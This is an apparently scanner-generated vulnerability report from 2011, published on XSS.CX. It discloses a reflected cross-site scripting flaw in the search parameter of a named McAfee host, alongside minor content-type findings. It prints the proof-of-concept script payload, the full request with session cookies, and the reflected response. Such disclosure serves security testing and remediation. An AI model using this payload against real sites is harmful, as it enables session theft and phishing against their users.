XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, searchmcafee.mcafee.com

Report generated by XSS.CX at Wed Aug 24 10:01:05 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. Cross-site scripting (reflected)

XSS in searchmcafee.mcafee.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

2. Content type incorrectly stated

2.1. http://searchmcafee.mcafee.com/apps/search/helper.html

2.2. http://searchmcafee.mcafee.com/img/arrow-link.png


1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://searchmcafee.mcafee.com
Path:   /search

Issue detail

The value of the q request parameter is copied into the HTML document as plain text between tags. The payload 15150<script>alert(1)</script>c2805cc588 was submitted in the q parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /search?q=xss15150<script>alert(1)</script>c2805cc588&filter=0&site=Threat_center_malware&client=Threat_center_us&output=xml_no_dtd&proxystylesheet=Threat_center_us HTTP/1.1
Host: searchmcafee.mcafee.com
Proxy-Connection: keep-alive
Referer: http://www.mcafee.com/apps/search/threat.aspx?q=xss&v=malware
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|272A8C26051D0DF5-60000136804E4813[CE]; SessionInfo=AffiliateId=0; lBounceURL=http://home.mcafee.com/root/myaccount.aspx; isvt_visitor=8zFnbQoBC2YAAFj2rV4AAAAAAChJCVeevHprVG; s_campaign=MFE-MHP001; s_evar18_cs=%5B%5B%27MFE-MHP001%27%2C%271314199765658%27%5D%5D; session%5Fdata=%3cSessionData%3e%0d%0a++%3ctempfrlu%3e%3c%2ftempfrlu%3e%0d%0a%3c%2fSessionData%3e; SiteID=1; langid=1; lUsrCtxSession=%3cUserContext%3e%3cAffID%3e0%3c%2fAffID%3e%3cAffBuildID%3e0%3c%2fAffBuildID%3e%3c%2fUserContext%3e; Locale=EN-US; HPrst=gu=b1179118-e6a0-4bae-9374-bcd0b3edaea5&loc=EN-US; AffID=0-0; Currency=56; HRntm=aff=0-0&cur=56&piacct=l5hppVF9ZAZqvcqlqqTxbw%3d%3d&ct=1&lbu=http%3a%2f%2fhome.mcafee.com%2froot%2fmyaccount.aspx&pple=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&inur=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&ituof=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&isr=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&sbo=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&om_icr=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&om_upsa=iq5nNK%2bISQc78yUmSkAv9A%3d%3d; IS3_GSV=DPL-2_TES-1314199697_PCT-1314199697_GeoIP-50.23.123.106_GeoCo-US_GeoRg-TX_GeoCt-Dallas_GeoNs-_GeoDm-; mbox=check#true#1314199886|session#1314199707295-202090#1314201686|PC#1314199707295-202090.19#1316791826; IS3_History=1312588191-9-19_3--8+14--8+13-1-__3-14_; CookieInformation=locale=us; s_cc=true; s_nr=1314199858711-New; s_ev8=%5B%5B%27mcafee%27%2C%271314199710709%27%5D%2C%5B%27direct%27%2C%271314199765660%27%5D%2C%5B%27mcafee%27%2C%271314199829793%27%5D%2C%5B%27direct%27%2C%271314199858714%27%5D%5D; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.0 200 OK
Connection: Close
Cache-Control: private
Content-Type: text/html
Server: GWS/2.1
Date: Thu, 01 Jan 1970 00:00:00 GMT
Vary: Accept-Encoding
Content-Length: 9788


<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN DTD" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...
<span xmlns="" id="Searchkeywords" style="display:none">xss15150<script>alert(1)</script>c2805cc588</span>
...[SNIP]...
2. Content type incorrectly stated  previous
There are 2 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

2.1. http://searchmcafee.mcafee.com/apps/search/helper.html  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://searchmcafee.mcafee.com
Path:   /apps/search/helper.html

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /apps/search/helper.html HTTP/1.1
Host: searchmcafee.mcafee.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Connection: Close
Content-Type: text/html; charset=UTF-8
Content-Length: 62

This page does not exist or you are not authorized to view it.
2.2. http://searchmcafee.mcafee.com/img/arrow-link.png  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://searchmcafee.mcafee.com
Path:   /img/arrow-link.png

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /img/arrow-link.png HTTP/1.1
Host: searchmcafee.mcafee.com
Proxy-Connection: keep-alive
Referer: http://searchmcafee.mcafee.com/search?q=xss&filter=0&site=Corp_web_us&client=Phoenix_frontend_us&output=xml_no_dtd&proxystylesheet=Phoenix_frontend_us&getfields=description
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|272A8C26051D0DF5-60000136804E4813[CE]; SessionInfo=AffiliateId=0; isvt_visitor=8zFnbQoBC2YAAFj2rV4AAAAAAChJCVeevHprVG; s_evar18_cs=%5B%5B%27MFE-MHP001%27%2C%271314199765658%27%5D%5D; CampaignId=78729; IS3_History=1312588191-10-19_3--9+14--9+13-1-+8-1-__8-3-14_3-14; s_campaign=78729; lBounceURL=http://home.mcafee.com/secure/cart/?offerId=220754&PkgQty=1; session%5Fdata=%3cSessionData%3e%0d%0a++%3ctempfrlu%3e%3c%2ftempfrlu%3e%0d%0a++%3cOrganicSearchtraffic%3e1%3c%2fOrganicSearchtraffic%3e%0d%0a++%3cwt_source_cid%3e78729%3c%2fwt_source_cid%3e%0d%0a++%3cwt_destination_cid%3e78729%3c%2fwt_destination_cid%3e%0d%0a%3c%2fSessionData%3e; SiteID=1; langid=1; lUsrCtxSession=%3cUserContext%3e%3cAffID%3e0%3c%2fAffID%3e%3cAffBuildID%3e0%3c%2fAffBuildID%3e%3c%2fUserContext%3e; Locale=EN-US; HPrst=gu=b1179118-e6a0-4bae-9374-bcd0b3edaea5&loc=EN-US; AffID=0-0; Currency=56; HRntm=vkey=IviuJgJdShFFp7B6MJ5vzg%3d%3d&aff=0-0&cur=56&piacct=l5hppVF9ZAZqvcqlqqTxbw%3d%3d&cid=78729&ct=1&lbu=http%3a%2f%2fhome.mcafee.com%2fsecure%2fcart%2f%3fofferId%3d220754%26PkgQty%3d1&pfl=UjYffYeSjxhItgwf9DZxCQ%3d%3d&ps=7ef4b828d60cdf9e4fb5cab48c83a4c45a4b455455030411&pple=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&inur=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&ituof=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&isr=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&sbo=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&om_prs=gZ0flRCL4NjJ92Nlr9ibTA%3d%3d&om_icr=ZIL7e2QGcewSnXRE9Vyafg%3d%3d&om_upsa=iq5nNK%2bISQc78yUmSkAv9A%3d%3d; IscartemptySiteidAffid=no-1-0; IS3_GSV=DPL-2_TES-1314199697_PCT-1314200092_GeoIP-50.23.123.106_GeoCo-US_GeoRg-TX_GeoCt-Dallas_GeoNs-_GeoDm-; mbox=session#1314199707295-202090#1314201966|PC#1314199707295-202090.19#1316792106|check#true#1314200166; CookieInformation=locale=us; s_cc=true; s_nr=1314200131658-New; s_ev8=%5B%5B%27direct%27%2C%271314199765660%27%5D%2C%5B%27mcafee%27%2C%271314199829793%27%5D%2C%5B%27direct%27%2C%271314200083949%27%5D%2C%5B%27mcafee%27%2C%271314200105798%27%5D%2C%5B%27direct%27%2C%271314200131663%27%5D%5D; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.0 404 Not Found
Connection: Close
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 62

This page does not exist or you are not authorized to view it.
Report generated by XSS.CX at Wed Aug 24 10:01:05 GMT-06:00 2011.